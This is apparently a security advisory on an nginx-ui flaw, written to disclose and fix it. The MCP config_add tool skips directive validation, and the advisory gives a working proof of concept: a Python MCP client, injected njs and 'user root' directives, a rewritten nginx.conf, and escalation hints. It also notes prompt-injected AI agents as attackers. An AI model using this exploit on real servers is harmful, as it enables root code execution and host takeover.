internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous
nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is
enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and
mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add
(mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to
disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection)
can therefore inject exactly the directives the control is meant to block, leading to nginx code
execution on deployments where the njs/perl module is available (e.g. the official Docker image).
Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and
wired it into the config-write paths — but its changeset touched only:
api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199),
mcp/config/config_modify.go (+5)
It did NOT touch mcp/config/config_add.go. So the MCP add path was left without the validation
that all of its sibling paths received. config_add.go has never called ValidateConfigFile
(verified via git history); this is an oversight in the hardening, not a regression.
content := mcp.GetString(args, "content") // caller-controlled
...
path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK)
...
err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content)
...
res := nginx.Control(nginx.Reload) // reloads nginx
Contrast — the guarded sibling (mcp/config/config_modify.go) does:
err = config.ValidateConfigFile(absPath, content) // rejects js_*/perl_*/load_module/user root
if err != nil { return nil, err }
Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret
(X-Node-Secret). MCP over SSE; client script poc_mcp_client.py attached.
Validation bypass (decisive):
tools/call nginx_config_add {name:"poc_blocked.conf", base_dir:"sites-available", content:"js_import poc.js;\nperl_set $x 'sub{return 1}';\nuser root;\nload_module .../ngx_http_js_module.so;"}
→ SUCCESS; file written verbatim (confirmed on disk).nginx_config_modify → REJECTED:
{"code":-32603,"message":"file content contains restricted nginx directive: js_import"}.Effect (using only the vulnerable config_add tool):
/etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with
load_module .../ngx_http_js_module.so; user root; ... js_import poc ...; server{ listen 8899; location=/pwn { js_content poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok)./proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect).GET http://127.0.0.1:8899/pwn → pwned (njs js_content executed)./tmp/NJS_RCE_PROOF.txt created, owned by root → JavaScript code execution in the nginx
worker performing arbitrary file write as root.njs module written to /etc/nginx/poc.js via nginx_config_add (name="poc.js", base_dir=""):
import fs from 'fs';
function pwn(r){
try{ fs.writeFileSync('/tmp/NJS_RCE_PROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; }
r.return(200,'pwned\n');
}
export default { pwn };
Main config overwritten via nginx_config_add (name="nginx.conf", base_dir="", overwrite=true):
load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
user root;
worker_processes 1;
error_log /var/log/nginx/error.log notice;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
js_import poc from /etc/nginx/poc.js;
server { listen 8899; location = /pwn { js_content poc.pwn; } }
}
Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT.
Usage: python3 poc_mcp_client.py list then python3 poc_mcp_client.py call <tool> '<json-args>'.
import sys, json, threading, queue, time, http.client
BASE = "127.0.0.1:9000"
SECRET = "<NODE_SECRET_OR_JWT>"
HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"}
resp_q = queue.Queue(); endpoint = {}
def sse_reader():
conn = http.client.HTTPConnection(BASE, timeout=60)
conn.request("GET", "/mcp", headers={**HDR, "Accept": "text/event-stream"})
r = conn.getresponse(); event = None
while True:
line = r.fp.readline()
if not line: break
line = line.decode("utf-8","replace").rstrip("\r\n")
if line.startswith("event:"): event = line[6:].strip()
elif line.startswith("data:"):
data = line[5:].strip()
if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True
else: resp_q.put(data)
elif line == "": event = None
def post(obj):
conn = http.client.HTTPConnection(BASE, timeout=30)
conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(),
headers={**HDR, "Content-Type": "application/json"})
return conn.getresponse().read()
def wait(wid, t=20):
end = time.time()+t
while time.time() < end:
try: d = resp_q.get(timeout=t)
except queue.Empty: break
try: j = json.loads(d)
except Exception: continue
if j.get("id") == wid: return j
threading.Thread(target=sse_reader, daemon=True).start()
for _ in range(50):
if endpoint.get("ready"): break
time.sleep(0.1)
post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05",
"capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1)
post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}})
cmd = sys.argv[1] if len(sys.argv) > 1 else "list"
if cmd == "list":
post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}})
print([t["name"] for t in wait(2)["result"]["tools"]])
elif cmd == "call":
post({"jsonrpc":"2.0","id":3,"method":"tools/call",
"params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}})
print(json.dumps(wait(3, 25), indent=1))
An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses
the directive-validation security control and injects directives the project explicitly blocks
elsewhere. On deployments with the njs/perl module available (the official Docker image ships
ngx_http_js_module.so), this yields code execution in the nginx worker and, via user root,
arbitrary file read/write as root (trivially escalated to full host compromise:
/root/.ssh/authorized_keys, /etc/cron.d/*, overwriting a binary). On stock nginx without those
modules it is a reliable DoS (failed reload) plus a user root privilege regression.
user root.Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile,
matching mcp/config/config_modify.go and the API paths — i.e. complete the 3e411d38 hardening on
the one path it missed.
--- (NOT a form field — include this as the closing section of the Description above) ---
Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the config_add path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
{
"cwe_ids": [
"CWE-20",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:11:07Z",
"nvd_published_at": "2026-10-12T21:17:22Z",
"severity": "HIGH"
}